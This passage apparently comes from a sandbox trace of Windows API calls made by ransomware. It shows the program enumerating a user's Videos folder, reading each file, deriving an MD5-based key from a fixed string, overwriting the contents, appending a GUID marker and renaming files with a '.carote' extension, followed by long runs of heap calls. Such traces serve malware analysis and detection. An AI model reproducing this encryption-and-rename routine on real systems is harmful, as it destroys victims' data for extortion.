lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.635] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.635] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.635] CloseHandle (hObject=0x61c) returned 1 [0113.636] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20b28 [0113.636] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0113.636] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20b28 | out: hHeap=0x5010000) returned 1 [0113.636] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\wSpQFb6VP7CjB27-8wWi.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\wspqfb6vp7cjb27-8wwi.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\wSpQFb6VP7CjB27-8wWi.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\wspqfb6vp7cjb27-8wwi.flv.carote")) returned 1 [0113.637] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.637] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.638] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d0cc280, ftCreationTime.dwHighDateTime=0x1d4d29c, ftLastAccessTime.dwLowDateTime=0xccaefca0, ftLastAccessTime.dwHighDateTime=0x1d4cc35, ftLastWriteTime.dwLowDateTime=0xccaefca0, ftLastWriteTime.dwHighDateTime=0x1d4cc35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z9S-Lyrz1J9mVBffWgx3", cAlternateFileName="Z9S-LY~1")) returned 1 [0113.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b163b0 [0113.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16520 [0113.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b163b0 | out: hHeap=0x5010000) returned 1 [0113.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.638] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b29b0, ftCreationTime.dwHighDateTime=0x1d4c6e7, ftLastAccessTime.dwLowDateTime=0xb9e0ed90, ftLastAccessTime.dwHighDateTime=0x1d4d4d7, ftLastWriteTime.dwLowDateTime=0xb9e0ed90, ftLastWriteTime.dwHighDateTime=0x1d4d4d7, nFileSizeHigh=0x0, nFileSizeLow=0xfecd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zNzMXjt4K8TB.avi", cAlternateFileName="ZNZMXJ~1.AVI")) returned 1 [0113.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f520 [0113.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f520 | out: hHeap=0x5010000) returned 1 [0113.638] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\zNzMXjt4K8TB.avi") returned=".avi" [0113.638] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\zNzMXjt4K8TB.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\znzmxjt4k8tb.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.638] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=65229) returned 1 [0113.638] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.640] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfea7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.640] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.641] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.641] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xfecd, lpOverlapped=0x0) returned 1 [0113.642] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.642] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.642] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.642] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ebfa0) returned 1 [0113.643] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.643] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.643] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.643] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.643] GetLastError () returned 0x0 [0113.643] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.643] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0113.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xfed0) returned 0x7b182e0 [0113.644] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.644] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xfec8, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xfec8, lpOverlapped=0x0) returned 1 [0113.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.644] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfecd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.644] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.644] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.644] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.645] CloseHandle (hObject=0x61c) returned 1 [0113.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b14908 [0113.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.646] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\zNzMXjt4K8TB.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\znzmxjt4k8tb.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\zNzMXjt4K8TB.avi.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\znzmxjt4k8tb.avi.carote")) returned 1 [0113.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.646] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.647] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b29b0, ftCreationTime.dwHighDateTime=0x1d4c6e7, ftLastAccessTime.dwLowDateTime=0xb9e0ed90, ftLastAccessTime.dwHighDateTime=0x1d4d4d7, ftLastWriteTime.dwLowDateTime=0xb9e0ed90, ftLastWriteTime.dwHighDateTime=0x1d4d4d7, nFileSizeHigh=0x0, nFileSizeLow=0xfecd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zNzMXjt4K8TB.avi", cAlternateFileName="ZNZMXJ~1.AVI")) returned 0 [0113.647] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f488 | out: hHeap=0x5010000) returned 1 [0113.647] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ebfa0 [0113.647] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: 